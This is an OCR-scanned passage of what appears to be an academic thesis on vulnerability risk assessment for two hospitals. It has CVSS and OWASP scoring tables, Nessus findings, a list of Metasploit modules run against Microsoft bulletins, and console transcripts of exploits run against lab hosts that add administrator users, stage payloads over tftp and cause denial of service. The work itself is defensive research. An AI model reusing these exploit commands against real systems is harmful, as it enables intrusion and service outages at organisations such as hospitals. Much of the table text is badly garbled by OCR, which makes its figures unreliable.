30 Scrigting raA . M.‘An:NIg:Nﬂ:PJA: 773 257 175 342 | 31 | Zmedium | 32 2high .
20121}
Phgl\:}; Cms';-;:: 1 CVSSHAVIALL AL XXX
X X 1l - N
3l Newen' )" il M.‘m.wg.m.wa. 7.73 257 475 342 | 31 | Zmedium | 32 2.high -
2011-18)
phpMyAdmin error.php CVSSIRAVNIAC: R
32 BBcode Tag XSS M/AUN/CN/LP/A: 773 257 35 286 | 31 | 3medium | 31 | dmediom | 'S
(PMASA-2010.9) N -
33 375 | 297 | 31 | Zmedium | 31 | Jmedium | oo
xxx. 146
34 475 342 | 31 | Imedium | 32 2high |
Axx.25
_ ) CVSS2#AVN/AC:L
35 | SMBSigningRequired | - rpAN 2 237 525 365 | 31 | Zmedium | 32 2 high x:;“;‘
ANROC XXX
36
W 27
37 XXX.XXX
X3
AOOCXXX
38
ANN.33
XN XXX,
39
xxx. 35
a0 AOOCXXX
e
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Table 4.16 Risk Evaluate Result Hospital A (Cont.)

Likhx
Cwss Exploit Im Busines Newl Likh
Ni
NO Vulnerability Vi iy o . —n xImp CVSS 1; OWASP+ IP
SSL/TLS
Renegotiation CVSSIHAVN/JAC:H AN XXX
4 Handshakes MiTM TAUNICNAPIAN 444 2T 338 ) 287 Al Ao - How w100
Plaintext Data Injection
- . XXX XXX,
42 SSL Certificate Cannot CVSS2#AVN/ACLL 375 391 kY. 3 medinm 32 2 high
9 445 X 100
Be Trusted TAWN/C:PIPAAN P
43 525 4.59 32 3.medium 32 2. high
xxx 35
SSL Certificate Signed
. . CVSSHAV:N/AC:H . . AXXXXK.
44 using Wea]f Hashing JAUNIC-P/L-PIA-N 444 445 .75 391 22z 3.medium 22 J.medium . 100
Algorithm
CVSSIEAVIN/AC:
SSL Medium Strength PR : 2 ANXL XXX
45 Cipher Suites Supported WAH.WE.P!I.N!A. 7.73 2.57 375 297 31 3.medium 31 3.medium w3100
46 3.75 297 21 4 low 21 4 low AR
SSL RC4 Cipher Suites CVESZEAVN/AC:H 444 157 . 100
47 Supported TAWN/CP/T:N/ACN 475 142 5] 4low 22 Imedium | OO
W 25
18 525 | 365 | 21 4low 2| 3medium | U
an 35
ML XXX,
49 SSL Self-Signed CVSS2HAVN/ACL 9 445 375 391 32 3.medium 32 2. high oo 100
Certificate TAWN/C:PIPAAN )
50 5.25 459 | 32 | Zmedium | 32 2high | U
W35
. . CVSSZEAVIN/AC:
5 | SSLWeakCipherSuites | 00 nwicPaNA: | 773 | 257 | 375 | 297 | 31 | mediom | 31 | dmedium | O
Supported N xxx. 100
52 mﬂw B“::Ef"]m CVSSHAVNIACL b . 375 | 619 | 33 Leritical | 33 | leritical | (%
v""l'md" m:_l_l_ PE L auNIC:onciAC
53 . 525 | 6% | 13 1 eritical 13 Leritical | COVT
K3
Terminal Services CVESZEAVN/AC: F—
54 Encryption Level is M/ AWNC:PI:NA: 773 257 375 297 31 3. medium 31 3 medium
4 K 100
Medium or Low N
Terminal Services
. A CVSSHAV:N/AC:H AKX
55 Eneryption Level I_Q not TALNICPINIAN 444 257 375 297 21 4 low 21 4 low o 100
FIPS- 140 Compliant
Unsupported Web CVSS2HAVIN/ACLL . . AN XXX
36 Server Detection FTAWN/C-P/I:PA:P g 8 375 9 kL 2high 2 2 high xxx. 100
‘Web Server Directory
, ; CVSS2H#AVN/ACLL 2 . AKX
57 Traversal Arbitrary File TALNIC-PIENIAN 9 257 375 297 31 3 medinm il 3 medinm e 100
Access
Web Server info.php / CVSSHAVN/ACL . . ANKXNX.
58 9 257 35 286 31 3.mend 31 3 med
phpinfo.php Detection | /AuNIC-PINIAN i auil R
Web Server Uses Plain
CVESHAV-N/AC:H AKX
59 Text Authenticati 444 257 4.75 342 21 4.1 22 3 medi
e Fams'“”"" JAUNICPENAN o M e 2s
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Table 4.17 Risk Evaluate Result Hospital B

Likhx
Cvss Exploit Tm Busines Newl Likh
No Vulnerability CVSS Newl OWASP+ P
Vector ability pact slmpact | mpact | xImp mp
ASP.NET DEBUG CVSS2#AVN/ACL ) ) XXX,
! Method Enabled JALN/CN/T-PIAN i 257 4 309 3| dmedium 32 2high o33
2 4 47 22 | 3medum | 22 | Imedium | o
xx.33
Microsofi Windows
. . AN XXX
3 Remote Deskiop CVSS2EAVNIAC: 444 58 5 515 22 3.medium 22 3.medium wxx
Protocol Server Man-in- H/Aw:N/C:P/T:PFA:P - ) mxxx._
4 the-Middle Weakness
xxx. 3R
s 55 537 | 22 | dmediom | 22 | Imediom | oo
ANN3
6 6.5 582 22 | 3mediom | 22 | 3medium | oo
xxx. 13
7 AN XN
oo 14
AXXXXX.
8 Microsoft Windows
: CVSS2#AVN/ACL ) ) o2
SMB NULL Session ' omidavnge 9 257 65 421 31 | 3medium | 32 Dhigh [
9 Authentication
x 13
AN XXX
1 o 14
MS09-050: Microsoft
Windows SMB2
Smb2Validate Provider CVSS2#AVINFACL AN AN
n | = 9 9 5 675 33 1.critical 33 1 critical
Callback() Vulnerability | /AwN/C:CI:CIAC " crtical | k38
(975497) (uncredentialed
check)
12 MY CVSS2EAV N/AC: 5 6.75 33 2 high 33 Leritical | VA
Vulnerabilities in XNN3R
MIALN/C:CI:C/A: | T.73 9
13 | RemoteDeskiop Could c 6.5 7.43 33 2 high 1 Leritical | oW
Allow Remote Code | - i : xxx 13
" Execution (2671387) AKX
{uncredentialed check) xx 14
15 4 3.09 31 | 3medium | 32 2high | OO
xxx.33
16 5 3.54 3l 3medium | 32 2.high "’:::’:"“
. il CVSSIHAVN/ACL .
AN
17 | SMBSigningDisabled | . cNmPAN 9 =t
xx 38
18 55 376 | 31 | 3medium | 32 2high | U
XXK3
19 6.5 421 | 31 | 3mediom | 32 2high | COUO
a1l
XXX XXX
20
xxx. 13
AN XN
2 oo 14
AXXXXX.
2
xxx. 16
53 | SSL/TLS Rencgotiation | CVSS2#AVAN/AC: XELRAX.
Handshakes MiTM H/AWN/CN/-PIA: 144 257 6.5 421 21 4low 22 | 3medium | xxx13
24 Plaintext Data Injection N XXX XXX
o 14
25 1 am 32 | 3medium | 32 2high | YN
xxx.33
. . NN
26 | SSLCertificate Cannot | CVSS2#AVN/ACL . aas 5 447 32 | 3medium | 32 2 high o
Be Trusted [AWNICP/PIAN - :
» XXX XXX
xxx.38
28 55 47 32 | 3medum | 32 2high | OO
ANKF
29 65 515 32| 3medium | 32 2high | UL
xxx. 13
XXX XXX
e x 14
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Table 4.17 Risk Evaluate Result Hospital B (Cont.)

Likhx
Cvss Exploit Tm Busines Newl Likh
No Valnerability CVss Newl | OWASP+ P
Veetor ability pact simpact | mpact | xImp mp
SSL Certificate Signed AN XA
31 - > CVSS2EAVN/AC: ) )
using Wenlf Hashing Y AUNIC-PIPIAN 444 445 6.5 515 22 3 medium 22 3 medium X 13
12 Algorithm AXXXXX.
xxx. 14
13 XX XXX
5 3.54 31 3.medium 32 2 high w1
3 SSL Certificate with CVSS2#AVIN/ACL . 557 XEXXXE
Wrong Hostname TAWNICN/TPAAN ) xxx 38
3s 55 3176 | 31 | dmediom | 32 2high | OO
ANN3
16 XXX XXX,
6.5 421 31 3.medium 32 2 high oocl3
XXX
3 xxx. 14
38 | SSLMediumStengh | CVSSMAVANAC: | __. | 65 421 | 31 | 3mediom | 32 2high ":::“:;
Cipher Suites Supported M/AWN/CPIENA: ) ) -
39 N XXX XXX,
xxx. 14
10 4 w9 | Llow 2 | 3medium | VU
ANN33
CVSS2EAVNIAC: . EEE R
41 i i 5 3.54 21 4low 22 3.medium
SSLRCA Cipher Suiles |y unjepna: | 4a4 | 257 xxx 1
Supported
1 N ANXNN
xxx.38
5 55 376 | 2 Llow 2 | 3medium | VU
ANK3
4 6.5 421 21 4.low 22 Imedinm | SO0
xxx. 13
XXX XXX
45
x4
1 1 402 | 32 | dmedium | 32 Thigh | OO
xxx.33
47 SSL Self-Signed CVSS2#AVN/AC:L - . 5 447 32 3.medium 32 2high xi’:ﬁl
Certificate SAWNICP/I:PIAN ) -
48 XXX XXX,
AN 3R
49 5.5 47 32 3.medium 32 2high i
xxx3
50 65 515 32 | 3medium | 32 2high | U
oo l3
XXX XXX,
51
xxx. 14
. . CVSSZEAVN/AC: . . XX XXX
52 | ssL W;ak Cl::l;;r Suites | NICPNA: L . 6.5 421 31 3.medium 32 2high 13
5 i N KRR XXX
xx. 14
54 4 3.09 31| 3medium | 32 2high | WU
xxx.33
55 Tmmmfﬂ Sewme:s CVSSZEAVN/AC: 5 154 31 3 medium 32 2 high KRR KKK
Encryption Level is M/AWNICPITNA: 173 157 xxx 1
56 Medium or Low N EEE R L
xxx.38
57 55 376 | 31 | dmediom | 32 2high | OO
ANN3
58 65 421 3l 3medium | 32 2high | U
a0 13
XXX
3 xxx. 14
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Table 4.17 Risk Evaluate Result Hospital B (Cont.)

Likhx
Cvss Exploit Im Busines Newl Likh
Newl
No Vulnerability v ey | pact | smpact cvss : OWASP+ P
60 4 we | 2 4low 22 | 3medium | OO
xxx.33
61 T‘e—rm.inal Seruic.es CVSSIBAVNIAC: 5 1.54 21 Alow 22 3 medium AKX
Encryption Level is not Hf Au:NSC:PT:NfA: 444 157 x|l
FIPS-140 Compliant N ANLXXX
62
Xxx.38
6 55 376 | 21 4low 2 | Imedum | COUU%
A3
64 6.5 421 21 4low 22 | 3medium | TOUU
xxx. 13
NN
65
14
‘Web Server Uses Plain CWVSSZEAVN/AC:
6 Text Authentication HAAUN/C-PIEN/A: 444 257 1 3.09 21 4low 22 | 3.medium "::x";‘;
Forms N )
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4.3.2 The Security Risk Assessment Report is the result of using a
prototype tool for creating a risk assessment report. The result was risk assessment as

shown in Appendix D. Examples of risk assessment reports are shown in Tables 4.18

-4.19.

1) Risk Assessment Report Hospital A

1.critical(5 Vuln) : 6.5 %
4.low(12 Vuln) : 15.6 % \ /

2.high(16 Vuln) : 20.8 %

/

3.medium(44 Vuln) : 57.1 %

Figure 4.21 Pre- Add Business Impact Factor (CVSS Score)

4.low(5 Vuln): 6.5 %
S SAL DA °\ / 1.critical(12 Vuln): 15.6 %

3.medium(27 Vuln): 35.1 % ——

2.high(33 Vuln): 42.9 %

Figure 4.22 Add Business Impact Factor (OWASP + Business Impact)
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Table 4.18 Risk Assessment Report Hospital A (CVSS Score)

Results / 74

Risk Plugin metasploit_
Rating name 0s D pluginName solution see_also g
Microsofi Symantec Backup Apply the httpe/fwww.syman
.. Windows pluginl Exec for Windows appropriate hotfix tec.comfaveenterfs | 00CKXX
1 critical DB lank’
crtie Server 2008 R2 | D:34820 Multiple referenced in the (blank) ecurity/Content/20 | xxx3
Enterprise SP1 Vulnerabilities vendor advisory. 08.11.19 html
Microsofi
Upgrade i hutps:/iwiki php.
Windows pluginl PHP Unsupported I_P“;':‘:Tsmn (blank) I;Tf!: ! php‘ne 0K XXK.
Server2003 | D:S§987 | VersionDefection |  ° "% E i “”""": SRS el
Service Pack 2 R
) HP System Upgrade to HP Apache Reverse
Microsoft .
Windows pluginl Management System Management Proxy Bypass hitpfwww. nessus | XXX.XXX
isiras Server 2008 R2 D:58E11 Homepage < 7.0 Homepage 7.000r Vulnerability -orgfu?ad6 TS A 25
= Muli Vulnerabilities later. Scanner
Mi fi
iy HP System Upgrade to HP Apache Reverse
Server 2008 R2 pluginl Management System Management Proxy Bypass hitpifwww. nessus | 000K
T ] D:58811 Homepage < 7.0 Homepage 7.0 or WVulnerability -orgfu?ad6 T o4 A 25
Service Pack 1 Multi Vulnerabilities later. Scanner
Microsofi Symantec Backup Apply the httpeifwww. syman
LIS Windows pluginl Exec for Windows appropriate hotfix (blank) tec.comfaveenterfs | 000X00
Server 2003 D:34820 Multiple referenced in the ecurity/Content/20 | w100
Service Pack 2 Vulnerabilities vendor advisory. 08.11.19.html
Table 4.19 Risk Assessment Report Hospital A (OWASP + Business Impact)
Risk Plugin metasploit
os lusinN luti - also g
Rating frame 1D e name see
}:_:::.Tv: Symantec Backup Apply the httpe/fwww symantec
1
- pluginl Exec for Windows appropriate hotfix ccomfaveenterfsecurit | N00XXX
1 critical DB Server 2008 R2 blank
catie r:' .. | D3ss20 Multiple referenced in the (blank) yiContent2008.11.1 | xxx3
Serviu:e]Par:Jr. 1 Vulnerabilities vendor advisory. 9 himl
Microsofi Upgrade to a
Windows pluginl PHP Unsupported version of PHP (blank) https:/fwiki php.nett | ¥XE XXX
Server 2003 D:58987 Version Detection that is currently fefreleaseprocess xxx 11
Service Pack 2 supported.
. HP System Upgrade to HP Apache Reverse
Microsoft : Management System
Windows pluginl Ho =70 Management Proxy Bypass hitp:/fwww nessus.or | X00XXK
D:58811 pag " Vulnerabili Tad6794 25
Server 2008 R2 Multiple Homepage 7.0 or ”5':3 rabrity el o
Vulnerabilities later.
HP System Upgrade to HP hutpedfwww.nessus.or
M L Syste: PHP CGI 754 1cT466
pluginl anagemen ystem gu ‘ . 000 XXX
D:59851 Homepage < 7.1.1 Matiagement Arngumeént hutpfhwww securityl [
Intran . Multiple Homepage 7.1.1 Injection ocus.comfarchive/1/5 )
et Vulnerabilities or later. 23320/30/0Vthreaded
HP Syste
ystem Upgrade to HP HP System
Management System Matnagement
pluginl Homepage =< Ma;: ment Anangemaus hip/fwww nessus.or | N0OCKRX
D:66541 | 7.2.0.14 iprange ee ¥ gut2dbT5ce xXx25
Homepage Access Code
Parameter Code .
. 7.2.0.14 or later. Execution
Execution
httpe/fwww._nessus.or
ghu?8leddefd
HP System Upgrade to HP !\il;:yﬂn::;l httpe/fwww._nessus.or
. Management System Be /u79b%1a1R9
pluginl Homepage 000 XXX
Homepage Management http/fwww_nessus_or
D:70118 . . JustGetSNMPQ xxx.25
ginkgosnmp.ing Homepage 7.2.2 weue Command gfu?Ta%2bb
Command Injection or later. Iniection hutpiwww securityl
g ocus.com/archive/1/5
28713/30/Mthreaded
Microsoft Symantec Backup Apply the http:/fwww symantec
LIS Windows pluginl Exec for Windows appropriate hotfix blank comfaveenlerfSecuril | XXXCXXX.
Server 2003 D:34820 Multiple referenced in the ( ) y/Content/2008_11.1 o0 100
Service Pack 2 Vulnerabilities vendor advisory. 9 heml
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2) Risk Assessment Report Hospital B

( 1.critical(1 Vuln) : 1.4 %

[ 2.high(2 Vuln) : 2.7 %

4. low(18 Vuln) : 24.3 % \

\ 3.medium(53 Vuln) : 71.6 %

Figure 4.23 Pre- Add Business Impact Factor (CVSS Score)

4 low(0 Vuln): 0.0 % W [- 1.critical(3 Vuln): 4.1 %

3.medium(27 Vuln): 36.5 % ~

2.high(44 Vuln): 59.5 %

Figure 4.24 Add Business Impact Factor (OWASP + Business Impact)
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Results / 76
Table 4.20 Risk Assessment Report Hospital B (CVSS Score)
Risk | name os pluginID pluginName solution e see_also ®
Microsofi . -
Windows MS09-050: Microsoft Microsoft hittp/fwww . nessus
1
Serve Windows SMB2 Microsofi has released a SRV2.5YS org/u?0iT2ecT2
T
Leriti ceedh 2008 pluginlD:4 | _Smb2ValidateProvide paich for Windows Vista SMB Negotiate | hipi/fiechnetmicr | xocxooc
cal Enternrise 0887 rCallback() and Windows Server ProcessID osoft. com/en- xx 38
Ser:?ice Vulnerability (975497) 2008. Function Table us/security/bulleti
{uncredentialed check) Dereference nMS09-050
Pack 2
Table 4.21 Risk Assessment Report Hospital B (OWASP + Business Impact)
metasploit
risk name ag pluginlD pluginName solution - see_also 1P
ﬁ';’:::’: MS09-050: Microsoft Microsoft hitp=H/www. nessus
1 Windows SMB2 Microsofi has released a SRV2.5YS rg/u?0i72ecT2
T
Lcriti scodh 208 pluginlD:4 | _Smb2ValidateProvide patch for Windows Vista SMEB Negotiate | hipsfiechnetmicr | oooxc
cal o Enternrise 0BR7 Callback() and Windows Server ProcessID osoft.comfen- xox 38
Ser:Pice Vulnerability (975497) 2008. Function Table usfsecurity/bulleti
Pack 2 {uncredentialed check) Dereference w/MS09-050
Microsofl has released a
set of patches for
MS12-020:
Vulnerabilities in Windows XP, 2003, MS12-020
1L I . .
Vi 2008, 7, and 2008 Mic: it
pluginID:5 | Remote Deskiop Could W . R';:T; ol oL
8435 Allow Remote Code . xxx.38
Execution (2671387) hnpdftechnet. microsofi.co Deskiop
N mfen- Checker
(uncredentialed check) | o rity/bulletin/ms12-
020
Microsoft has released a
- set of patches for
Mic fi MS12-020:
“,'.Lnr;m Vaulnerabilities i Windows XP, 2003, MS12-020
e . T Vista, 2008, 7, and 2008 Microsoft
pacsc Server pluginlD:5 | Remote Deskiop Could R Remote (blank) UL XKX.
cel 2003 B435 Allow Remote Code . Ao 13
r 3 hittpefechnet microsofl.co Desktop
Service Execution (2671387) mfen- Checker
Pack 2 (uncredentialed check) | e e ritybulletin/ms 12-
0o
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4.3.3 Vulnerability Verification Results involve the use of a prototype
tool for reviewing full disclosure/references or samples of exploit testing. The result
was verification of the vulnerability results shown in Appendix E. And examples of
verification of the vulnerability results are shown in Tables 4.22 -4.23.

Table 4.22 Verify Vulnerability Result Hospital A

Full-Disclosure / Referances Exploit
|| e || e PluginName Metasploit
pt inlD See_also Fulldisc Fullink Exdbink pame =
ler .
o | Lenti | plugi | o 5 Shvew
jtic ymantec Backup Exec | httpdfwww symantec.com
al cal TSI;: for Windows Multiple | faveenter/security/Content NOTE NULL NULL NULL
Wulnerabilities J2008.11.19 himl
HP System Apache
plugi Management X o Reverse
alD:S Homepage < 7.0 bl M‘::ém"s"”y - NULL NULL NULL | Proxy Bypass
BEIL Multiple Vulnerability
Vulnerabilities Scanner
lugi A
::I D‘I?:S Pl IP.Um uppor!ed hutps fiwiki php netrfc/rel NULL NULL NULL NULL
Version Detection eASEprocess
BOET7
MS12-030: . MS12-020
. N plugi Vulnerabilities in httpfiechnet microsoft.co Microsoft
2hi | Lerit nlD-5 Remote Deskiop Could . mfen- : NULL NULL NULL Remote
gh cal 8413 Allow Remote Code us/security/bulletin/ms 1 2- Desktop
Execution (2671387) 020 Checker
(uncredentialed check)
hitpa/fwww nessus.orgfu?
Bleddefd HP System
HP System httpafiwww nessus orgfu? Management
plugi Management 9bR1afBo Homepage
alD:7 Homepage htipefiwww nessus orgfu? NULL NULL NULL JusiGetSNM
0118 ginkgosnmp.ine Ta%¢2bb PQueue
Command Injection hupfwww securityfocus. Command
comfarchive/1/528713/30/ Injection
O/threaded
Table 4.23 Verify Vulnerability Result Hospital B
Full-Di / Reli Exploit
Owa Plug
< | s+ | inID PluginName See_also Fulldise Fullink Exdbink M‘:'::‘M—
MS09-050:
Microsoft Windows FULLDISC:20090 .
SME2 httpe/fwww nessus 907 Windows . Microsoft
. ) ) Smb2ValidateProvi | YOI vy gump g | MUPHsectists SRVZSYS
leri lecn pluginl - derCallback() hitpzfechnet.micr NEGOTIATE org/fulldisclo NULL SMB Negotiate
tical tical | D:40887 Vulnesability osofl.comfen- PROTOCOL sure/2009/Se ProcessID
usfsecurity/buller pfdate_ himl Function Table
(973497) n/MSDS-050 REQUEST Dereference
{uncredentialed Remote B.S.0.D.
check)
MS12-020:
Vulnerabilities in MS12-020
. - : Remote Desktop hutpfftechnet micr Microsoft
2hig | lcn pluginl .
h Geal | DsRas Could Allow Remote osoft com/fen- NULL NULL NULL Remote
Code Execution usfsecurity/bulleri Desktop
{2671387) s 1 2-020 Checker
{uncredentialed
check)
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4.3.4 30+ Samples of Microsoft Security Bulletins on Vulnerability
Testing are a result of the use of the prototype tool to sample exploitation testing. The

result was sample testing as shown in Table 4.24 and Figures 4.25 — 4.32.

Table 4.24 Sample 30+ Microsoft Security Bulletins Published

No | TypeExploit | WIN ExploitlD ExploitCode Actions/Results
1| Overflow 2000 | MSB-MS00-004 | SXPloitvindowsfisapi/ms00_09 | yq or
4_phserver
2 MSB-MS01-023 i’;ﬂ'l':t'iw' udowsfiiafms0] 023 | 0y oer
3 MSB-MS03-007 exploit/windows/iis/ms03_007 add user
) ntdll_webdav
4 MSB-MS04-011 ’]”‘II’;:;:“" udows/smbms04 0L, oy cer
exploit/windows/smb/ms04_00
5 MSB-MS04-007 7 killhill meterpreter
6 MSB-MS05-039 ;ﬂ"’:‘r“"“‘l"“ﬁsmb}msm—m add user
7 MSB-MS06-040 ;"E‘;:{‘I‘;‘i"""‘l"“’“‘{smh’i’“"""—m add user
8 2002 MSB-MS03-022 exploit/windows/isapi/ms03_02 ;
Pi\. 2 nsuslog_post L
9 MSB-MS04-045 ;}Lil'li:::wmdowsfwmsfmsm_ﬁd add user
exploit/windows/mmsp/ms10_ i
10 MSB-MS510-025 025 wmss_connect_funnel add user
2000 exploit/windows/deerpe/ms05_
11 SP4 MSB-MS05-017 017 msmq meterpreter
12 2003 | MSB-MS03-026 ;’;‘;‘ﬂi‘;’;"‘l"“ﬁd“"’dm*m— add user
exploit/windows/ftip/ms09_053 | Auxiliary module execution
= nlst completed (FTP services loss
13 MSB-MS09-053 mp )
14 XP | MSB-MS03-049 ;"I:l';:;‘i““d"““mwmsm—m calling the vulnerable function
15 MSB-MS06-066 Z"Ir’l"'::;‘i“ ndows/smb/ms06_06 | oy 100 start
16 Exzi::f;lﬂnwﬂsmwmsﬂﬁ_% CSNW not start
17 | Bypass 2000 | MSB-MS08-067 | SXPloit/windows/smb/ms08_06 | ;oo
something 7_netapi
- . - Auxiliary module execution
18 MSB-Ms10-06s | 2uiliany/adminhitpfiis auth b | e od no basic authentication
ypass enabel)
auxiliary/scanner/http/dir_webd
19 2003 | MSB-MS09-020 av_unicode_bypass Scan completed
auxiliary/scanner/http/ms09_02
20 0_webdav_unicode_bypass Scan completed
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Table 4.24 Sample 30+ Microsoft Security Bulletins Published (Cont.)

No | TypeExploit | WIN ExploitID ExploitCode Actions/Results
Code exploit/windows/iis/ms01_026 * Executing cmd: copy cmd.exe to
21 Execution 2000 | MSB-MS01-026 dbldecode web root/script as xxx.exe
VIS auxiliary/dos/windows/smb/ms

22 TA MSB-MS09-050 09_050_smb2_negotiate_pidhi | *send eploit packet 858 byte
gh

13 exploit/windows/smb/ms09 05 | [*] Auxiliary module execution
0_smb2 negotiate_func_index completed (dos ok)
auxiliary/dos/windows/llmnr/m | Auxiliary module execution

24 MSEMSY-030 sl1_030_dnsapi completed wait 5 minin

25 XP | MSB-MS12-020 | 2uxiliary/scannerfrdp/ms12 02 | 4o\ ornleted
0 _check

26 MSB-MS10-061 ‘;"F"““‘f“_"_‘“‘l"“’s’smb‘f’m‘ 1006 | o4 user

_spoolss
27 MSB-MS06-070 E"I;":E'_Uw'“‘l““”smb‘fmm—m calling the vulnerable function
_whkssve

28 MSB-MS02-065 “P!“‘IU“"““““"““"’“‘OZ—%S started bind handler
;uxiliaryf’doﬁfpplpfmsﬂi_ﬂfﬁ_p Auxiliary module execution (dos

29 | Dos 2000 | MSB-MS02-063 | S C complate)
auxiliary/dos/windows/smb/ms | Auxiliary module execution

30 s 05_047_pnp completed (systems shutdow)
auxiliary/dos/windows/smb/ms | Auxiliary module execution

3 MSE-MS0GESS 06_035_mailslot completed
auxiliary/dos/windows/smb/ms | Auxiliary module execution

32 MSE-MEEY 06_063_trans completed (Exploit susscess)
auxiliary/dos/windows/fipfiis_li | Auxiliary module execution

33 2005 | MSE-MEpEn) st_exhaustion completed (FTP services loss)
auxiliary/dos/windows/rdp/ms] | *Auxiliary module execution

34 MEE-ME 2 020 _maxchannelids completed (dos ok)

VIS auxiliary/dos/windows/smb/ms | [*] Auxiliary module execution

33 1A | MSB-MS09-001 1 09 901 write completed
auxiliary/dos/windows/smb/ms | [*] Auxiliary module execution

36 POB-HSS0 09 050 smb2_session_logoff completed (dos ok)
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4.3.5 Simulated Exploit Attack by using the prototype tool in the sample,
30+ Microsoft Security Bulletins. The testing results are divided into the following
four methods: 1) Denial of Service; 2) Code Execution; 3) Buffer Overflows and 4)
Bypass Something.

1) Denial of service (DoS): The server or system can be stopped in order to
prevent or disrupt a system. The results from the examination of the prototype tool are
shown in Figures 4.25 — 4.26.

[l = kaliz (Running] - Oracle VIV

Applicat Sun Mar 1, 11:18 PM
Document - Iceweasel

{l| File Edit Wiew History Bookmarks Tools Help

! Document b4 h ™ Connecting... ® J o] |

[@ 127.001 exploit.php?c v @] [E> Google Q) I &

[ Most Visited™~  Jll Offensive Security ", Kali Linux "% Kali Docs ﬂExplo\thB

Egggw auxiliary/dos/windows/rdp/ms12_020_maxchannelids =

Targst
os
wversions

Host/1IP
Address [10.0.2.15

|. Exploit |

Waiting for 127.0.0.1..
T Document - Iceweasel
B @ &Pl @ @[ @ 3 richtcl

Figure 4.25 Sampling DoS Exploit ID MS12-020 in Window 2003

& & & e {3 | & (3 rightcrrl

Figure 4.26 Result Exploit ID MS12-020
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2) Code Execution: The attacker can send malicious commands through an
operating system’s vulnerability in order to enable an attacker to take control of the
server, including installation, view or editing of the information and creation of an
account on the server. The results from the examination of the prototype tool are
shown in Figures 4.27 — 4.28.

applicaMonMar 2,124 aM B B B B B

READ RC FILE - Iceweasel

il File

Edit View History Bookmarks Teools Help

{ READ RCFILE %[
48 [@ 127.0.0.1/04/page/shellexL.php ~ @ [Elv Google a) 4 &

i | Document

& Most Visited~ JllOffensive Security " Kali Linux "% Kali Docs EBExploit-DB »

Exploit Result : B

+ -- --=[ 1389 exploits - 786 auxiliary - 223 post 1 !
+ -- --=[ 356 payloads - 37 encoders - 8 nops 1

+ -- --=[ Free Metasploit Pro trial: http://r-7 co/trymsp ] -‘.

[*] Processing ../../04/shellscript/RCEX/RCxMSB-MS01-028. rc for ERB directives.
resource (../../04/shellscript/RCEX/RCxMSB-MS0L-026. rc)= use exploit/windows/iis/ms0l_¢g _
resource (../../04/shellscript/RCEX/RCxMSB-MSOL-026. rc)> set RHOST 10.0.2.10 = 1
RHOST == 10.0.2.10

resource (../.. /D4/shellscript/RCEX/RCxMSB-MSOL-026. rc)> set payload windows/adduser
payload == windows/adduser

resource (../.. /04/shellscript/RCEX/RCxMSB-MS01-026.rc)= exploit

[*] Executing command: dir (options: {:windir=="winnt"})

[*] Using windows directory "winnt" |
[*] Copying cmd.exe to the web root as "STGBxSL.exe"... i
[*] Executing command: copy “winnti\system32\cmd exe STGExSL.exe (options: {})

[*] Executing command: tftp -1 GET aYMDEjhl.exe {(options: {:temp=>".", :linemax=>140¢
:cgifname=>"STGEx5L.exe"})

[*] Command Stager progress - 59.08% done (26/44 bytes)
[*] Command Stager progress - 100.00% done (44/44 bytes)

T READ RCFILE - Icewe... [ro

=
L d |

& scripts

File Edit Wiewy Favorites Tools Help
oBack -~ < - | @search [Folders BHistory | 15 05 X w2 | E-
Address [ seripts

" ¥ el IJ E
- STGExSL
scripts

Select an ibem ko view its
description.

See also:

My Documents

My Metwork Places

My Computer

230 KB [ vy Computer

i@l start H G| QLaunch Internet Explorer Broviser B 1zesem
@ & &P o vm @ | @ Frightcul

Figure 4.28 Result Exploit ID MS01-026
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3) Buffer overflows: The input is greater than the extent to which the
program is backed up. As a result, the server or system can be stopped. The results

from the examination of the prototype tool are shown in Figures 4.29 — 4.30.

READ RC FILE - Iceweasel

File

Edit

View History Bookmarks Tools Help

Document ® || READ RCFILE

« | v i o
S Most Visited~ [l Offensive Security ", Kali Linux "% Kali Docs !!ExplmthB >
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro

Learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.0-2015013101 [core:4,11.0 . pre 2015013101 api:1.0.01]
1

+ -- --=[ 1389 exploits - 786 auxiliary - 223 post
+ - - ———[ 356 payloads - 37 encoders - 8 nops 1 T
+ -- --=[ Free Metasploit Pro trial: http: //r 7.co/trymsp ]

[*] Processing ../../04/shellscript/RCEX/RCxMSB-MS04-045. rc for ERB directives.
resource (../../04/shellscript/RCEX/RCxMSB-MS04-045, rc)= use exploit/windows/wins/mso4 |
resource (../../04/shellscript/RCEX/RCxMSB-MS04-045, re)> set RHOST 10.0.2.14
RHOST == 10.0.2.14

resource (../../04/shellscript/RCEX/RCxMSB-MS04-045, re)> set payload windows/adduser |=
payload => windows/adduser

resource (../../04/shellscript/RCEX/RCxMSB-MS04-045, rc)= exploit
[*#] WINS Fingerprint: [0x05371e90] 0x053dffad 0x77f98191 Ox 77189640
[*#] Attempting to overwrite Ox053dfdcd with Gx053922e0 (Gx05391T40)
msf exploitimsod 045  wins) =

| close this Popup |

¥ READ RCFILE - Ice

ey inistrati . [=1 =3
e ETETE}PREEEETETET Y
LI Ccomputer Management [_ O] =]
| ackion  view “ & = | G| =2
Tree | Tame [ Full iame [ Description
|=8 Computer Management (Local) Administrator Builk-in sccount For admi
Sl System Tocls 5 Guest Built-in account for guest acce:
[zl Event Viewer #F1UsR_TEST-C... Internet Guest Account Built-in account For anonymous
Qg System Information G vl _TEST-... Launch IIS Process Account  Built-in secount for Internet In
& Performance Logs and Alerts # rstasplait
MetShowServ... Windows Media services r...  Windows Medis services run ur
5 TsInternetUser  TsInternetUser This user account is used by Tt

£ Storage

[ Disk. Management
I Disk Defragmenter
= Logical Crives

& Removable Storage
-3 Services and Applications

“ I 0l
#listart ||| ) @& 53 || Eadministrative Tools |[=icomputer Management 4 vodem
B &P ] v {3 | @ B rightcrl

Figure 4.30 Result Exploit ID MS04-045
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4) Authentication bypass: Pass the system’s vulnerability without having
to go through identity verification. The results from the examination of the prototype

tool are shown in Figures 4.31 — 4.32.

Help
ApplicaMonMar 2,1254am B B B B B

READ RC FILE - Iceweasel

File Edit VMiew History Bookmarks Tools Help

: Document 38 | IREAD RCFILE % |] =

4 (@ 127.0.0.1/04/page/shellex1.php ~ @] [B~ coogle Q) I o
S Most Visited ™ “Oﬁ‘enslve Security "\\KaLl Linux '\_Kal.l Docs ﬂExplmthB >

metasploit v4.11.0-2015013101 [core:4.11.0.pre, 2015013101 api:1.0.0]]
1389 exploits - 786 auxiliary - 223 post 1

356 payloads - 37 encoders - 8 nops 1

Free Metasploit Pro trial: http://r-7.co/trymsp | I

